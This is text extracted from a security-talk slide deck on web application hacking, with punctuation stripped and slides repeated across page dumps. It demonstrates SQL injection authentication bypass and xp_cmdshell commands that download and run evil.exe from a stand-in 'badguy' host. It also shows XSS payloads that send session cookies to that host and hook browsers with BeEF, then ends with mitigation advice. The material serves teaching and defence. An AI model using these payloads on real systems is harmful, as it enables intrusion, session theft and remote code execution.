password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 27: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 28: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 29: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 30: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

